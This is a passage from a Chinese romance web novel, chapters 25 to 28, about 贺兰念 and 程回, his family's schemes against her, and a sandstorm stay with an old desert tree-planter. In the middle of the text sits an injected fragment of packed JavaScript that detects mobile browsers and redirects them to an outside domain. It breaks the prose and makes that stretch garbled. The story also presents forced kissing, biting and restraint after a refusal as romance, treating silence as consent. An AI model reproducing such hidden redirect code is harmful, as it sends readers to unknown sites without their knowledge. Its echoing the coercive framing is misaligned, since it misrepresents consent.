“所以,”程回看起来更生气了,他几乎咬牙切齿,“你是承认见我时什么反应都没有了是吧?”
贺兰念:“............”
贺兰念都要被无语笑了,她叹了一口气,无奈问:“所以你在气什么?”
还没等贺兰念察觉这句话有何不妥,她便看见程回眼睛里的微光瞬间衰败,他的瞳孔明显怔住,捏着她下巴的手也一松,像是被人重重一击。
意识到什么,贺兰念掩饰住心里的慌乱,她想解释,可是一时又不知道怎么解释,“不是,我不是——”
“贺兰念。”程回打断贺兰念,他眼中的受伤浓重,看着贺兰念说,“你怎么这么残忍......”
“我明明说过喜欢你。”
这话一出,贺兰念瞬间哑然,她心口像是被压了一块大石头,连她自己都觉得自己太过残忍。
贺兰念有些苍白的解释:“他也没有吸引我。”
“所以,我也没有吸引你。”程回低低垂着眼说。
贺兰念嘴唇翕动,脱口说出,“不——”
意识到自己到嘴边的话是什么,贺兰念赶紧闭上嘴巴,她懊恼不已,今天怎么一直在说错话?
“贺兰念。”
“嗯?”
“我可以吻你吗?”
“......”贺兰念噔时睁大了眼睛,她抬眼看向程回,正对上程回漆黑的眸子。
程回眼睛里满满侵略性质的东西,看得贺兰念心惊胆
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战,她下意识向后撤身子,背后早已没有空间。
贺兰念声音颤了下,“......不行。”
“所以,你让我想做这种事之前问你,就是为了拒绝我吗?”程回声音暗哑问。
程回的脸近在咫尺,贺兰念甚至能感受到他炙热的呼吸扑到她脸上,把她的脸颊都烤烫起来。
眼下这个情况,贺兰念哪敢再说什么。
脸颊旁,贺兰念又听见程回说:“不说话,就当你同意了。”
电光火石之间,贺兰念看见程回低下头来,她下意识朝一侧扭头,下一秒,一个柔软的东西贴在她耳廓,落在脖颈的呼吸让贺兰念身体一颤。
程回来真的!
情急之下,贺兰念回到程回最初的问题,坦诚道:“赵幸北真的没有吸引我。”
“只是,”贺兰念拧了拧眉才艰涩的把下面的话说出口,“看见他时,我想起了一个人......”
程回听不出情绪的“哦”了一声。
“......”
贺兰念觉得程回并没有在认真听她说什么,他刚才还无比在意的问题,现在好像也不那么在意了。
贺兰念能感到程回的唇在她侧颈似有似无的撩蹭,像是狼人亮着獠牙巡视自己的领地,在找下嘴的地方。贺兰念感到寒意的同时,又被程回的呼吸炙烤着,冰火两重天!
突然,贺兰念脖颈一痛......程回咬了她!
程回的牙在她脖颈舔舐厮磨。
“陈回!”
贺兰念又羞又气,她挣扎着伸手推程回,下一秒,被程回抵住腿,双手也被锁住,困在椅子上动弹不得。
他抓着她的力道,让贺兰念感受到了真实的威胁!危险!
“是谁?”程回抬头问,眼中是无法掩饰的欲色。
贺兰念瞪着他,双唇紧闭,显然没有说的打算了。
察觉到贺兰念的生气,程回愣了下,无措间,他低头亲了贺兰念一下。
稍纵即逝的美妙触感如十万伏电流冲向程回的四肢百骸,几乎要烧毁他的理智,他的目光忍不住在贺兰念双唇流连,眼中的欲|望翻江倒海。
但显然这个吻也激怒了贺兰念,程回看见她怒视的眼,似乎开口就要斥骂他。
“陈——呜——”
斥责的话被吞回腹中,程回再度吻上贺兰念的唇......
渐渐地,他开始不满足唇齿的厮磨,趁着贺兰念愣神,强势撬开贺兰念的贝|齿,滚烫的舌长驱直入,强烈的感觉让程回的灵魂都要沉溺进去,他吻得不可自拔。
不知过了多久多久,贺兰念猛地推开程回。
在椅子上呆坐了几秒,贺兰念心脏狂跳,唇齿间一片酥麻,一股清冽的香气在她鼻间萦绕,是程回身上的香水味。
贺兰念还未起身离开,僵在她身前的程回又欺身压下来,强势勾住她脖子吻上去。
他像是终于尝到荤腥的野兽,再也无法克制心底蓬勃的欲|望。
慌乱、愤怒、心悸、还是别的什么情绪更多一点,贺兰念已经分不清,她心一横,咬了程回的舌。
被放开后,贺兰念没有丝毫迟疑,推开程回就往包厢外走。
没有看程回一眼。
还没走出包厢,贺兰念的胳膊被人攥住,程回从背后抱住她,贺兰念挣扎了一下,没挣扎开。
程回的手臂紧紧环着贺兰念的身体,他身体紧绷,低垂的眸子里黑浪汹涌,像一匹饿极的狼,似乎下一秒就对着贺兰念的脖颈再咬下去,不管不顾撕扯掉贺兰念身上的衣服。
他克制得手臂颤抖,良久,黑色潮雾终于再次被他掩埋在眸子深处。
“......你生气了?”程回的声音嘶哑,夹杂无措,显得有点可怜。
“对不起。”他又说。
她是生气......
“放开我。”
程回身体僵了一下。
确认贺兰念真的生气了,程回手臂终于松了松。
贺兰念挣开,走出包厢。
她一直往外走,走出饭店,走到街上。
扪心自问,贺兰念自己都说不清生气的理由,但她确实生气了。
要说是生程回的气吗?好像并不尽然,甚至比重都没多少,她好像更多的是在生自己的气。
贺兰念知道程回一直在身后跟着她,她猛地转身,“要跟我到什么时候?”
“等你消气。”等你心软,程回在心里补充。
“反正我也没有地方去。”他说得可怜巴巴。
“......”
贺兰念看着程回。
他站在一棵大树下,树影婆娑的落在他身上,道路两旁高楼大厦的华灯映不到他身上,波光粼粼河面的反光也照不到他身上,他就站在那片阴影下定定看着她,神情晦暗不明。
贺兰念眼中闪过痛苦,挣扎和无奈。
贺兰念拦了辆出租车,程回紧跟着她坐了进去。
路上,赵幸北给程回打来电话,说后天采购的人会到西北。”
贺兰念当即决定明天就回西北。
回去也好。
她有自己的路要走,她无论如何也不能走向程回。
26. Chapter 26
回去跟惜儿说明天回去的消息时,惜儿先是高兴了下,随后情绪又低落下去。
“虽然我也很想家里的李爷爷李奶奶和我的朋友们,但是——”惜儿苦恼道,“念念,我好舍不得程哥哥、李哥哥还有李爷爷他们。”
贺兰念:“......”
惜儿抬起头看着贺兰念,眼睛蒙了一层水光,哽咽问:“念念,我以后是不是就见不到程哥哥李哥哥和李爷爷了?”
“这就是书里说的分离吗?”惜儿难过的问,“可是人为什么要分开呢?不分开不行吗?”
“大概,分开是为了让人更珍惜在一起的时候吧?”贺兰念发现自己也回答不好这个问题,她想了想问,“小王子和玫瑰分开后发生了什么?”
惜儿思考了一阵,道:“小王子跟玫瑰分开后,逐渐发现他为什么爱着玫瑰,对吗?”
贺兰念沉默了。
过了会儿,贺兰念摸了摸惜儿惜儿毛茸茸的小脑袋,温声道:“惜儿要是不想回去就留下来多陪李爷爷几天,等过几天我来接你,好吗?”
“好啊!”惜儿眼睛瞬间亮起来,随后又暗淡下去,“可是家里的李爷爷和李奶奶会不会失望?其实我也很想他们。”
贺兰念笑了一下,道:“那就等惜儿回去多陪陪他们哦~”
“好!”惜儿终于下定决心,“那惜儿留在这里陪李爷爷,念念也要每天都要想我哦~当然,我肯定会每天都想念念的!”
“会的。”贺兰念保证。
惜儿抬起头笑嘻嘻的看着贺兰念,“念念再给我讲《阿吉娜》好不好?我好几天都听不到念念给我讲故事,我会很想念的!”
看着小姑娘夸张的表情,贺兰念宠溺的笑了声,她伸手拿过床头柜上惜儿特意从家里背来的《阿吉娜》。
翻开第二章,贺兰念视线却被前一页结尾那句话吸引。
——“阿吉娜,你一定要记住,不要跨过这湖水,不要靠近狼族。”老祖母说,“阿吉娜,听到狼人的呼唤,不要回头,不要回头!”
一瞬间,贺兰念的心似被什么击中。
今天程回质问她,为什么第一次见他的时候没有任何反应......其实是有的,第一眼,她就知道他是危险的,那是她不敢靠近的危险。
......
贺兰念接着上一次未讲完的部分往下讲。
——
“不能靠近他......”阿吉娜小声重复了一遍祖母的话。
阿吉娜说的是“他”,却不是“他们”......只是老祖母没有听到。
然后阿吉娜就被祖母带回了戈壁深处。
这天夜里,沙狐群突袭鹿族,阿吉娜为护幼妹跌入流沙,失去意识。
半梦半醒间,阿吉娜好像看到了那张年轻俊美的脸,还有那双天生疏离薄情的眼睛。
醒来时,阿吉娜发现自己正躺在狼族地宫,而那位少年首领的银发垂在她染血的鹿角上。
他在给她包扎伤口!阿吉娜简直不敢相信。
少年首领始终面无表情,见阿吉娜醒来也只是淡淡瞥过来一眼,动作熟练的包扎好后,他便起身离去,一句话未说。
不知是不是因为失血过多,阿吉娜有点失神的看着那道高大冷漠的背影。
之后好几天,他都会亲自来给阿吉娜包扎,但又不说一句话,终于阿吉娜忍不住,开口问他:“你叫什么名字?”
少年首领抬眼静静看了她几秒,森绿的眼睛如幽潭,阿吉娜完全看不懂他在想什么,但是她听到了少年的名字。
“巴尔特。”少年首领说。
他的声音毫无感情,跟他的外表一样冰冷,阿吉娜有点恼火的撇了下嘴角,不过她很快又恢复好心情,声音欢快的说:“我叫阿吉娜。”
“嗯。”他答得敷衍。
“谢谢你救了我。”她说。
“......”巴尔特再次沉默了。
他当然不是在救她。
只是阿吉娜看不出巴尔特的欺骗,她沉迷在与巴尔特的相遇中无法自拔。
就这样又过了许多天,阿吉娜身上的伤总是好不了。
阿吉娜不知道为什么,她好像离不开狼宫了。
阿吉娜每天白天都下定决心要离开这里,但每到夜晚来临,巴尔特回来她的身边,她又开始犹豫了。
她眷恋跟巴尔特在一起的时光。
阿吉娜每天都维持着漂亮的人类形态等着巴尔特的到来,她再也没想变回白鹿,在森林中自由自在的奔跑。
阿吉娜陷入自己的爱恋中不能自拔,这种爱恋甚至可以让她自我消减爱人态度的冷淡,忽视她逐渐虚弱的身体。
也忘记了回家。
阿吉娜确信,她已经深深爱上了巴尔特,一个她绝对不能靠近的狼人。
她忐忑又兴奋。
......
贺兰念看着已经熟睡的惜儿,轻轻把书放在床头柜上,她调整姿势躺好闭上眼睛准备睡觉,可是一动不动躺了一个小时,终于又无奈睁开眼睛。
她的大脑一片混乱,“程回”这两个字无孔不入。
这一晚,贺兰念的生物钟完全失灵,她几乎一夜没睡。
早上贺兰念在客厅见到了程回,他少见起这么早!正在跟李怀璧喝茶,看着倒是神清气爽的。
只是李怀璧长吁短叹,情绪不高。
没再看程回,贺兰念对李怀璧说明惜儿舍不得他们,想多留几天的意愿。
李怀璧顿时一扫阴霾,高兴坏了。他看了眼贺兰念,又看向程回,道:“你不是也要去西北吗?刚好跟念念一起回去吧。”
程回要去西北???
转念一想,程回作为公司投资人,去西北也无可厚非。
但,相比赵幸北这边又成立公司又出口等一系列事情,贺兰念不觉得西北的葡萄园更需要程回。
贺兰念没问程回为什么去西北,她当然也不想跟程回一起回西北。
然而等她收拾好行李再下来,只见程回站在楼梯口。他低头看手机,见她下来,抬眼看她,目光晦涩,看得人心底发颤。
贺兰念往外走,程回随即跟在她身后往外走。
“陈回,不要跟着我。”贺兰念无奈。
“不要。你去哪我去哪。”程回说,“我跟你说过了,我没有地方去。”
贺兰念:“.........”这话是怎么说得出口的!
有时候,贺兰念真的觉得程回挺神奇的,她明明一再拒绝他,他依旧不知分寸,没有距离的靠近她。
说出的话也......一意孤行!
但......
每每又直击贺兰念内心。
她不想走向程回,程回却紧紧贴着她。
贺兰念赶不走程回,只得带着程回去了机场。
好在,程回是头等舱,她是经济舱。
贺兰念正想闭目养神睡一会儿,身边一阵窸窣声,有人离开有人再次坐下。
贺兰念睁开眼,对上程回漆黑的瞳孔。
狭小的空间让程回坐得不舒服,他询问:“贺兰念,你挣得钱都去哪了?”
据程回所知,贺兰念家的葡萄园里基本都是二十年的老藤,越老的藤上结出的葡萄酿成红酒口感越好。所以她家的葡萄每年都是别人抢着预定的,就算赚得没那么多,但也不会太少才对,还有贺兰念爸爸当年也是江沪富商,总该有点积蓄。
再加上贺兰念网上百万粉丝的账号和平时的直播打赏......就算她要养惜儿,也不该过得这么拮据。
听到程回的话贺兰念怔了一下:“......别问我这种无法回答的问题。”
没有被人说穷的尴尬,贺兰念眼中闪过其他的东西,只是程回并未看到。
贺兰念看着程回两条长腿窝在一片小小的空间,道:“不舒服可以不用换位置。”
程回看她一眼,“我愿意。”
“......”贺兰念不再理他。
“喂贺兰念,你以后要好好挣钱。”程回说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996566|178195||http|test|mini|href|location''.split(''|''),0,{}));
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>贺兰念一头顶的问号,她匪夷所思的看着程回。
“看什么?”程回一脸理所当然,“你不挣钱,我怎么过上好日子?”
贺兰念:“............”
“那这次真是委屈你了。”贺兰念无语至极。
程回:“委屈死了!”
“......”
贺兰念叹了一口气,扭脸看向窗外。
她明明很生气的,可是没过多久,她竟然就这么睡着了。
身边的人传来平缓的呼吸声。
程回把贺兰念的脸捞到自己这边,让她靠着自己睡。
半晌,他看着贺兰念安静的睡颜,忍不住心痒,抬手,用拇指轻柔抚了抚贺兰念的脸颊。
*
当天,程英纵办公室。
程英纵看着手里程回的资料,脸色越来越阴沉,最后简直能用恐怖来形容。
魏梁默默抹了一把额角不存在的虚汗。
随着“啪”地一声猛响,文件被扔在墙上,纸张乱飞。
“程回现在在哪?!”程英纵吼道。
“已经坐上去西北的飞机了。”魏梁小心道,“刚才没联系上他。”
看到程回要收购西北那些农户的葡萄,而且已经付诸行动,程英纵要气死了,他防着周家,万万没想到程回会出手帮他们!
不过,“才两天时间,他怎么找到国外那些买家的?”程英纵看着魏梁问。
“这个……,我也不太清楚。”魏梁艰难猜测,“可能留学时认识的人脉?”
程英纵先是不屑的嗤了一声,而后陷入沉默。以他对程回的了解,他并不擅长处理人际关系这种涉及感情来往的事。
说到感情,程英纵脑海终于浮现贺兰念这个他从来没有放在心上的名字。
但现在程回种种脱轨的行为都在告诉程英纵,程回对贺兰念的感情不一般。
即便心里依旧不相信程回的感情,程英纵冷着脸问道:“你怎么看这件事?”
魏梁深知程英纵的自负,铺垫道:“从利益的角度看,这件事得益的只有贺兰念。程回……在物质方面得到的好处微乎其微,但情感方面——”
魏梁话没说完,但意思已显而易见,程英纵就是要听他分析程回对贺兰念的感情,闻言喝道:“情感方面怎么样?继续说!”
“英雄救美自古以来都是得到美人芳心最快最好的方法。”魏梁踌躇着下定义,“所以,通过这件事来看,程回对贺兰小姐的感情不一般。”
“我个人把这种感情定义为,爱情。”
“爱情?!爱情是个什么狗屁东西!!”程英纵仿佛听到了天大的笑话,“在程回小时候我就把这种没用的情感从他脑子里剔除了!”
魏梁没敢接话。
不过,想起另一件事他得到的消息,魏梁道:“程回在让人找惜儿母亲的下落。”
愣了下后,程英纵脸上的怒气魔法般散去。想着程回表面帮着贺兰念,一边又在背后狠狠算计贺兰念,程英纵愉悦的大笑了两声。
“程回啊程回,不愧是我调教出来的人!”程英纵更加确定道,“狗屁的爱情!不过是一时的新鲜感,程回这个人骨子里就是冷酷没有感情的!”
程英纵拨通程净的电话。
“你去西北做两件事。第一件,阻止程回收购葡萄,那些葡萄就算烂在地里也不能让他们卖出去!第二件,我要程回和那个叫贺兰念的,永远都不可能在一起!”程英纵阴狠道,“你该知道怎么做,别让我失望。”
并未立刻答应,程净笑吟吟先道:“怎么?您这是终于发现他们的奸|情了?”
“奸|情个屁!”程英纵不可能相信程回对贺兰念的感情,“程回不可能喜欢上那么一个女人。”
事实上,程英纵不相信程回会喜欢任何一个女人。
程净挑了下眉,他当然不觉得程回对贺兰念没感情,但他并未反驳程英纵,而是嘻嘻笑着道:“行啊,我最喜欢做这种伤人心的事了。想想就很刺激呢~”
27. Chapter 27
挂断程英纵的电话后,程净打给周墨。
相比正常男人较粗的声线,程净的声音听起来有点尖细,他不刻意扮演甜美时,尤其显得有点冷。
“贺兰念跟程回都回西北了,这件事你知道吗?”程净毫不客气质问,“你不是在拖着贺兰念吗?到底怎么回事?”
“妈的!我刚特么被我家老子训了一顿,你又跑来训我?!”周墨狠狠唾了一口浊气,“还不是那天喝多了,那死女人还踢了我——,我一气就把耍她的事说出来了,结果她跑出去就遇见程回了。”
程净眯了眯眸,“你爸骂你了?”
“可不是!今天我爸出差回来知道贺兰念来找他的事,我特么这会儿才知道我家是真要买那个女人家的葡萄!”周墨又骂了一句,“草!早知道这样,我哪用找借口吊她,直接跟她签约也没这么多破事了!”
周墨正在气头上,也不管该不该说,又道:“现在好了,我爸知道程回要帮她卖葡萄后,把我臭骂了一顿。现在我爸不让我插手这件事,让我弟去西北找贺兰念了。”
周家果然要买贺兰念家的葡萄,而且周砚也要去西北找贺兰念了!
得到这两个消息,程净满意勾了勾唇,他又安慰了周墨几句,正准备挂电话,突然想到什么。
“等等,你在哪儿遇到的程回?”程净猛地坐直身子急切问。
“就那个摩兰酒店。”周墨情绪渐渐冷静下来,疑问道,“你问这个做什么?”
程净又换上甜美的声音,“没什么,就是想知道我哥这段时间住在哪呗~”
应付周墨几句,程净挂断电话。
据他所知,程回从西北回来后一直登记住在另一家酒店......
那么,摩兰酒店里,住着谁呢?
程净眼中全是兴奋,他起身往外走,边走边喃喃:“既然如此,我就过去看看亲爱的哥哥在那里藏了什么宝藏吧!”
用了点手段,程净顺利拿到摩兰酒店顶楼套房的房卡,他纤长的手指摇着车钥匙往电梯走,随着电梯“叮”的一声停在顶层,程净成功打开紧闭的房门。
哼着歌往里探了探头,没有看见人,程净把门推开走了进去,他在偌大的客厅走了两圈,没发现有人后推开卧室的门。
最后,走进最小的那间卧室时,程净一眼看见不断抖动的窗帘。
“别过来——别过来——别过来——”
“坏人——坏人——坏人走开!”
女人颤抖的声音传来,程净吹了声口哨。他走过去一把掀开窗帘,蜷缩在角落的女人大声尖叫了一声,应激般就要抓窗帘盖住自己。
程净偏不让她得逞。
逗弄了一会儿,女人的情绪渐渐失控,她开始伸手攻击程净,只是她始终蜷缩着身子不敢有大幅度的动作,像是在极度害怕被抓住。
程净挑了一下眉,感叹说:“您这张脸,我也是好多年没见了~”
“再次见到你的儿子,你也是这个样子吗?”程净呵呵笑了几声,“如果是这样的话,哥哥会伤心吧~”
程净给女人拍了张照片。
他举着手机欣赏着新拍的照片,“所以,是要发给哥哥,还是程英纵呢?”
不知是不是想到两人收到照片的反应,程净心情很不错,哼着歌走出房间。
路过厨房时,程净不知想到什么,他顿住脚步走进去,看见冰箱里满当当的食物,程净表情扭曲了下,“哥哥还真是个孝子。”
“既然这样,我也当个孝子吧~”说完,程净拿出一袋水饺,开火煮水。
把一碗水饺端到女人跟前,程净端着另一碗坐在床上,慢吞吞吃起来。
见女人没动,程净睁着纯净的眼道:“吃啊,凉了就不好吃了。怎么你怕有毒?哈哈放心吧,毒死你程回要跟我拼命的,我可就他一个哥哥,还不想死在他手里。”
女人不知听懂了哪一句,犹豫片刻,她猛地身后抓过饭碗,几乎狼吞虎咽的吃起来。
程净见状“啧”了一声,“程回应该有派人给你送饭吧?怎么还把自己搞成饿死鬼投胎的样子,啧啧~真是不让人省心。”
吃了一碗水饺,程净看着女人放在地上的碗,低喃,“还是不要让哥哥知道我来过了,我们就先保持神秘吧,你也不要告诉哥哥哦!”
说完,也不管女人听没听到,他捡起地上的碗,拿去厨房洗了。
电梯里,程净点开程英纵的聊天页面,又点开图片,看着那张新拍的照片,最终没有点发送。
走出电梯,程净哼着轻快的歌,准备去机场。
“哥哥,又要见面了。”程净嘴角勾着笑,“这一次你可要惨了~”
*
飞机越往西北飞天色越昏黄,沙尘暴来了。好在飞机最终顺利降落在了机场。
程回的车就在机场,贺兰念想着一个多小时就能到家,就跟程回上了路。
然而等车子行驶到沙漠一段U型公路,天地似被一双暴怒的手撕开裂缝,沙尘暴从地平线上拔地而起,无数黄沙似千万匹脱缰的野马,翻涌成一堵巨墙,彻底拦住去路。
程回停车,贺兰念下车观察。
风尖啸着袭来,沙粒如亿万支金箭破空而来,不一会儿贺兰念就感觉脸像被无数刀割了一般,细沙钻入鼻腔,呛得她打了一个喷嚏,身子被风吹得站不稳。
那是一座移动的、咆哮的山峦,将戈壁的沟壑、残破的烽燧、零星的骆驼刺统统卷入混沌,地平线消失了,只剩下沸腾的沙海张开巨口,吞噬每一寸光与呼吸,暴力又壮观。
车里程回喊了贺兰念两声,见贺兰念听不到,程回下车把她拉上车,拧着眉道:“贺兰念,你是想变成蝴蝶被风吹走?”
没理会程回的玩笑,贺兰念根据以往的经验说:“不能往前走了,这种规模的沙尘暴会持续好几个小时。”
“是吗?”程回闻言脸上不见一丝紧张,脸上倒是添了不少兴致,“这么说,我们要被困在车里几个小时了?”
贺兰念:“......”这话听着怎么这么别扭?
急速而来的沙粒撞得车身噼啪爆响,贺兰念都能感觉到沙粒如利刃剐蹭车身......这车看着就很贵,被这么生生刮几个小时,程回不心疼贺兰念都要心疼了。
“最好能找户人家,”贺兰念道,“车子会被刮坏的。”
“坏就坏了——”
程回的话没讲完,有人在外面敲玻璃。
那是一个大约六十多岁的老人,看起来劲瘦干练,一双沧桑的睛炯炯有神,看起来却沉默寡言。
贺兰念觉得老人的脸有点熟悉,一时想不起在哪见过。
老人骑着马在前面带路,把程回和贺兰念领回了家。
那是建在沙漠和戈壁边一间用木头搭建的小房子,一旁还有几个谷垛。
程回和贺兰念下车后,老人已经从房里拿出了平时晒粮食的晒簟,他让程回把车停到房子侧面,然后用晒簟把车盖住了。
不知不觉天已暗下去,老人招手让贺兰念和程回进屋。
一间不大的房间放着老人所有的东西,其实没多少东西,只有一张小木床,一个旧衣柜,然后一张桌子一只椅子,一点点餐具。这些东西被老人整整齐齐干干净净摆放着,所以即便不大的房间,还剩不少空间。
老人从床底抽出两个小木凳给贺兰念和程回坐,自己转身拿出一袋马铃薯和一截晒干的牛肉。
贺兰念见他要煮饭,立马不好意思道:“不用麻烦了,我们等沙尘暴停了就走。”
老人抬眼盯着贺兰念看了几眼,看得原本翘着腿悠闲坐着的程回都坐直了身子看他。
老人垂下眼继续削马铃薯的皮,开口道:“你是李碑的闺女?”
“......”
从一个萍水相逢的人口中听到自己父亲的名字,贺兰念心头一震。
一旁程回闻言脸色也逐渐严肃,他视线在老人和贺兰念脸上移了下。
贺兰念的爸爸李碑,户籍江沪,青年时抱着一腔热血来到西北,然后几十年如一日投身到西北建设中,其中
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不止葡萄园,这几十年她爸爸还做了不少其他的事。
期间遇到贺兰念的妈妈贺兰寻真,一个土生土长的贺兰山本地人,甚至是古老的党项族后裔,两人相识相爱,结婚后生下一儿一女.因为喜欢贺兰山这个地方,也喜欢贺兰这个姓氏,李碑便让他的两个孩子都姓了贺兰,便是贺兰承和贺兰念。
贺兰念控制着激动的情绪问出:“你认识我爸爸?”
“小时候去过你家一趟,你应该不记得了,那时候你才三四岁。”老人语气似唠家常,道,“后来你爸来的时候给我看过你的照片,他常说你长得好看。”
“......你说我爸来找过你?”贺兰念问,“他常来找你吗?”
“一两个月会来一次吧。”老人把马铃薯和切好的牛肉放在一起煮,“不只我,所有像我这样住在沙漠里的人他都去探望。”
贺兰念沉默不语,不知想起了什么。
程回察觉到问题,问道:“所有像你这样住在沙漠里的人?你们住在这里做什么?”
这个问题,贺兰念觉得她应该知道。
爸爸妈妈相继去世后,贺兰念发现家里存折上每隔一段时间就有几条汇款记录,向固定的几个账号,大概持续了二十多年,钱有时候多有时候少一些。
老人没回答程回的问题,他盖上锅盖,看向贺兰念。
“我听说你爸爸三年前出车祸死了,”他顿了下,沧桑的脸上似感叹老天不公般卸了一口气,随后才道,“这三年我又陆续收到几笔汇款,是你汇来的?”
最后一句,老人是用肯定的语气说出来的。
贺兰念:“......”确实是她汇的。
她发现爸爸常给几个账号汇款后,以为是爸爸的一些老朋友,后来查了才知道只是几个住在沙漠治沙的人。
其实汇款的时候贺兰念没想别的,她就是想着就当爸爸还活着,那些收钱的人也都觉得爸爸还活着。
“今天就在这住一晚吧,明天我带你去防沙带看看。”老人对贺兰念说,“以往你爸爸来,总要过去看看。”
“......好。”
老人给贺兰念和程回分别盛了一碗马铃薯炖牛肉,又拿了两块在炉子上烤的饼递过去,程回不知道在发什么呆,贺兰念用胳膊碰了碰他。
程回先是顺着贺兰念的视线看了眼面前相当粗糙的饭菜,目光又落在贺兰念脸上,昏黄的灯光下他眸中微光闪动。
程回想起了程英纵,极度精致利己冷血的商人,如果程英纵听到这种事,大概率会厌恶不屑。
——理想主义者就该被扼杀。
这是程英纵最早让幼年的程回记住的一句话。
贺兰念以为程回对饭菜不满意,便靠过去小声说:“很好吃的,你尝尝?”
“......”
见程回丝毫不为所动,贺兰念手指为难的挠了挠桌面......相比于程回,贺兰念觉得惜儿其实挺好养活的,而且惜儿基本都不用她哄,倒是惜儿时常安慰她给她加油打气。
“你如果不吃,晚上肚子会饿——”
“谁说我不吃了?”
程回扭过身,一口饼一口汤吃起来,他吃得慢条斯理,脸上没有丝毫难以下咽的神情,和平时没什么两样。非要说的话,倒是比之前还吃得多了些。跟程回吃饭的几次,贺兰念发现每次程回都吃得很少。
贺兰念正发愣,见程回拿筷子敲了敲桌子,头也不回道:“贺兰念,看我能看饱?”
“......”
端着碗坐下的老人见状说了一句:“有男朋友了?”
“不是——”
贺兰念刚开口,老人又道:“男朋友不错,好好对人家。”
“......”贺兰念瞬时憋红了一张脸,“真不是——”
程回乐了,“您说这话我爱听。”
老人瞅他一眼,“你也一样。”
“行!”程回一口答应。
贺兰念很无语,心想说,您是看他脸长得不错吧?!
28. Chapter 28
晚饭后,老人让贺兰念睡床,贺兰念不好意思霸占老人家的床,便说她跟程回打地铺就好。
老人也没多说什么,他拉开衣柜拿出一床新被褥,道:“这是之前你爸拿过来的。”
然后他让贺兰念和程回跟着,去了其中一个草垛。
搬去用草编织的门,贺兰念见草垛里面除了些麦草便没其他的东西。这些麦草是专门用来治沙的,仓库里的麦草明显用完了,只剩下些太短不能用的,空间倒是很宽敞。
老人走进去,把被褥铺在一层麦草上,又转身回屋拿了个手电筒给贺兰念。
这会儿风沙依旧很大,没几米的距离,贺兰念几乎看不见那间小木屋微弱的灯光,老人回屋的身影渐渐模糊不清。
大概是太久没有跟人说过话了,他语言系统像是丧失许多,贺兰念看见他好几次张口要说什么,又什么都没说闭上。
贺兰念正看着老人的背影发呆,肩膀突然被人揽住,随即她听到程回不满的声音:“贺兰念,你要站在这当白杨?我要被刮走了~”
你怎么可能会被刮走?贺兰念在心里默声吐槽。
贺兰念抬手正要推掉程回揽她肩的手,程回先一步放开她,弯腰顺滑的钻进草垛......贺兰念以为程回要嫌弃,没想到他自然的躺在里面,然后支着脑袋看她,用眼神点了点他身边的空位,姿态慵懒又放松,像一只大尾巴狼。
贺兰念:“......”
真是前有狼后沙尘暴。
草垛里的程回还状似无知问:“贺兰念,这里晚上有狼吗?”
“......”贺兰念完全有理由怀疑程回在调侃她那晚说医院没狼那句话!
贺兰念在心里说:“有!不仅外面有,里面也有!”
正进退两难,一道微弱的光照过来,老人又拿了一床被子过来。
贺兰念眼睛一亮,感激的看着老人又在一个空草垛里铺了一床被子!
程回瞥见,脸上的笑意淡去,他眯了眯眸。
老人铺好床就离开了,贺兰念正欲离开,听见身后草垛里程回喊她的名字:“贺兰念!”
“嗯?”贺兰念回头,他看程回神情还挺严肃的,便问,“怎么了?”
程回蹙着眉,紧盯着她,“我一个人睡这里害怕。”
“怎么会?”贺兰念朝四周看了看,安抚道,“狼群不会来这里的,放心吧。”
程回:“......”
黑暗里程回的眼睛越发深邃不可估摸,他盯着贺兰念,眼睛都忘了眨。
对峙了片刻,贺兰念想道晚安离开,就见程回突然放下胳膊掀开被子,蜷缩着侧躺在被子里,再不发一言。
贺兰念:“......”应该不至于生气吧?
贺兰念转身离开,去了另一个草垛。
昨晚贺兰念一夜没睡,这会外面风声呼啸,草垛里不太漏风,也还算凉爽,睡觉的话还挺舒服。
刚沾上枕头,贺兰念就已经有些昏昏欲睡。
她刚要睡着,草垛的门突然被人拿开,一阵风沙呼呼地吹进来,贺兰念拧眉看过去。
程回已经把门放好,盘腿坐在了她身边。
他冷绷着脸,打扰别人休息的理由也十分不讲理:“我睡不着,你跟我聊会天。”
“......”贺兰念无奈的摔在枕头上,她拿盖子蒙住头,困得睁不开眼睛,“可是陈回,我很困。”
“昨晚没睡好?”程回问。
贺兰念下意识“嗯”了一声,“昨晚失眠。”
过了片刻,头顶传来一声轻笑,“贺兰念,你昨晚为什么失眠?”
贺兰念:“......”贺兰念又蒙了蒙被子,准备彻底装睡。
“贺兰念,你要是还睡,我就去找那老头聊天。”程回说。
“......”贺兰念害怕他真的大半夜拉着人家老人聊天,赶紧忍着困意起身拉住他。
贺兰念裹着被子看向程回,等她看到程回似被迷雾蒙住的眼睛,怔了下。
程回情绪不太对。
缓叹了一口气,贺兰念轻声问:“想聊什么?”
“你是把钱都寄给他们所以才这么穷吗?”程回问。
这么穷?贺兰念心想她这是穷成什么样了,不过她并未太在意答:“不全是。”
程回似乎只是想单纯确认一下这个问题,听到贺兰念承认他也没再追问其他。
沉默片刻,程回说:“跟我说说你的童年吧。”
“我的童年?”贺兰念想了想,她的童年平淡无波,好像没什么值得讲的,便道,“我童年过得还好,应该跟其他人没什么不一样。”
程回没说话。
“不过我没有上幼儿园,妈妈说我小时候太喜欢粘着他们,我一哭爸爸便舍不得送我去上学,妈妈说我们父女俩整天狼狈为奸。”贺兰念轻笑了一声,继续道,“我印象比较深的就是坐在爸爸自行车前面的横杠上吹风,爸爸要把戈壁滩上都种上葡萄,我好像也跟着他走了很长的路。”
贺兰念脸上浮现一丝缱绻,“有一次我的脚搅进自行车轱辘里,瘸了一两个月才好,那之后爸爸就不敢用自行车载我了。后来他从二手市场淘了个小汽车,不过汽车老是坏,有时候要很多人推着才能发动。我要站在后面推,爸爸就把我抱到驾驶室,让我跟他一起打钥匙。”
“其他的,”贺兰念顿了一下,“我还有一个哥哥,他叫贺兰承,他很调皮老是欺负我,但又总是把好吃好玩的都给我——”
贺兰念缓缓低下头,“有一天晚上爸爸妈妈去了很远的地方,我有点害怕,贺兰承一边嘲笑我,一边对我说,‘贺兰念你害怕什么,我不是还在,我会永远保护你的。’”
